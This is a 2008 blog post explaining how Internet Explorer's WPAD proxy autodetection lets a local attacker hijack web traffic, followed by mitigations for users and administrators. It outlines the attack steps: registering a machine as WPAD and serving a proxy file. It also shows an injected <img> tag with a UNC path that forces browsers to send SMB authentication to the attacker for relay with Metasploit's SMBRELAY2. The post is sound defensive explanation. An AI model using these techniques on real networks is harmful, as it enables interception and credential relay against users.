WPAD: Internet Explorer’s Worst Feature

Posted at January 11, 2008

If you run Internet Explorer, you may have noticed that often when you first load up IE and try to navigate to a web page, there’s a delay of a few seconds longer than there is on subsequent page loads. This is because IE is trying to automatically detect your proxy settings. Inside Internet Options -> Connections -> LAN Settings, you’ll find an option called “Automatically detect settings” which defaults to on. Unless you’ve turned it off manually or are joined to a corporate domain that turns it off, it’s probably still on.

It turns out that this settings is absolutely appalling for security, opening up several opportunities for an enterprising hacker on your local network. On a corporate network, that may be everyone in the building — on a wireless hotspot, it’s anyone in range. To understand the vulnerability, we have to look at how Automatically Detect Settings actually detects your settings.

When IE is first requested to load a page, it attempts to locate a server called WPAD. First, it checks the information received from the DHCP server, looking for site-local option 252, “auto-proxy-config.” Failing this, it tries to do this with a DNS lookup, asking the local DNS server to identify the IP address for WPAD. If this doesn’t work, it proceeds to try to use WINS — the old NetBIOS-based Windows Internet Name Service that is how multiple computers on a home network identify each other in the absence of a DNS server — to identify WPAD. It will try this for each domain extension up the hierarchy — if your computer is called fnord.endor.sparkplug.squid.com, it will look for, in order:

It should not try to load from wpad.com (or wpad.net, etc.), though some configuration errors can cause it to try. In any case, if it finds a server called WPAD, it tries to retrieve proxy data from it, by issuing:

GET /wpad.dat HTTP/1.0

This is called the Web Proxy Auto Discovery Protocol, from which WPAD gets its name. The resulting file wpad.dat must be returned with the MIME type “application/x-ns-proxy-autoconfig”, and contain JavaScript that implements a function called FindProxyForUrl. This function is then called by IE on every URL it tries to load from then on, to determine what proxy servers, if any, it should use. The simplest example of this file could be something like this:

function FindProxyForUrl(url, host)
{
return “PROXY isa.squid.com:80; DIRECT”;
}

This tells IE to use the same proxy for everything, and that if that fails, try a direct connection. An enterprise with multiple proxies and internal networks could use the URL and HOST parameters to do a more complex proxy configuration. This file is actually in the Netscape Proxy Client Autoconfig file format, and can contain quite a bit of interesting script.

So, in a large enterprise, this is all very convenient. As the network administrator, you can control the proxy configuration of everyone on the network from one convenient file. Should you need to change anything, you change it in one place and it gets picked up. Most enterprises don’t use this feature — I’ve heard that only about 3% do — because they instead distribute proxy settings via domain Group Policy, or they simply don’t use a proxy at all. However, the few enterprises that do are some of Microsoft’s largest customers, so this feature probably has some very influential people backing it.

So, what’s the problem with this? Why do I think of it as IE’s worst feature? Because in those 90%+ of enterprises and effectively-100% of non-enterprise networks that don’t use WPAD, you can use it to mount man-in-the-middle attacks and hijack everyone’s web traffic. If someone is using you as a proxy, you have total control over their web activity. You can read everything they do, everything that the server responds with, etc. You can redirect any web traffic transparently to your own fake sites. You can even modify the responses from real sites on-the-fly with scripts — there are proxy servers for Linux that will run everything that goes through it through some user-specified regular expressions to edit them. The classic demonstration of this was a user who set up his proxy to replace all image loads on all web pages with upside-down versions of the images or random cute cat pictures from www.kittenwar.com; you can see his proxy configuration at ex-parrot.com. You can even intercept SSL communications this way, though the user will get an error message that the URL on the certificate doesn’t match the site certificate (or, if you’re more careful about crafting the cert, simply that the certificate isn’t signed by a trusted authority.)

WPAD can enable you to take control of others’ proxy settings. How? Simple… just name your computer WPAD and join a network. Anyone who uses Internet Explorer will ask your computer for the GetProxyForUrl function. All you have to do is run a web server containing a file called wpad.dat at the root, and configure the server to return that file with a MIME type of “application/x-ns-proxy-autoconfig”. That file can contain a line making your computer the proxy for all URLs, and now you get everyone’s web traffic.

Normally, just registering with DHCP with a computer name of “WPAD” is enough to get you into DNS and hijack the entire network. Failing that, even if DNS is restricted, if WPAD doesn’t exist other systems will still find you based on WINS (which is decentralized and unauthenticated, and thus cannot be restricted.) And even if WPAD does exist, this feature is still scary — an attacker can still get their system named WPAD via a host of mechanisms, like DNS cache poisoning, ARP spoofing, rogue access points, etc.

But wait, it gets worse! By carrying out this attack, the attacker has the ability to make you execute arbitrary web-safe code (i.e. anything your browser will do without prompting.) After all, they can edit any page you view and add script to it. What if they add script like this?

<img src=”\\wpad\share\image.gif”>

Note that that’s a UNC path (Windows file sharing), not an HTTP path. Your computer will try to download that image via SMB — and since the attacker is on your local network, SMB will be successfully routed to him. Now, if he’s got a public share called “share” hosting an image called “image.gif”, this is no big deal — IE will simply display the image. But what if his machine doesn’t have shares at all, but instead a Metasploit console running my favorite Metasploit module, SMBRELAY2? Then each time a user accesses any web page, the attacker gains access to one resource of his choice as the user who loaded the web page. Every time you browse the web, the attacker gets to take an action with your credentials — including connecting back to your computer with your privileges (probably Administrator, if you’re like most people) or to any other share or website you have access to with your Windows credentials. The attacker doesn’t actually get your password — he just probably doesn’t need it, since he can act as you anyway.

Actually, an attacker can do everything I described above using only a standard Linux box with a Metasploit installation (or a BackTrack 3 LiveCD.)

So, what can you do to protect yourself or your network from this attack? As an end-user, it’s pretty simple — go into your IE or Firefox or other browser settings and disable proxy autodetection. You probably don’t need it anyway, and it slows down your first page load. If you use a network that does require a proxy, find out what the proxy is and enter its settings manually. The only reason you wouldn’t be able to do this is if you are joined to a domain that sets this setting to On via domain Group Policy, or if you run the ISA Firewall Client with the option “Enable Web Browser Automatic Configuration” enabled (in which case you can just disable that setting, too.)

As a network administrator, it’s a bit harder. If your network does not use WPAD, you could force autodetection off with Group Policy. If you do use it, make sure you have a machine registered as WPAD at each domain level and in both DNS and WINS, and specify the machine (preferably by IP address) in DHCP option 252. If a system gets the WPAD address out of DHCP, it will make no attempt to find it in other ways, which greatly reduces the opportunity for spoofing.

The ultimate solution to this would be for Microsoft to make it off by default. Unfortunately, as an automation-simplification feature, having it off by default would pretty much defeat its purpose.

attacks, networks, products

If you enjoyed this post, please consider to leave a comment or subscribe to the feed and get future articles delivered to your feed reader.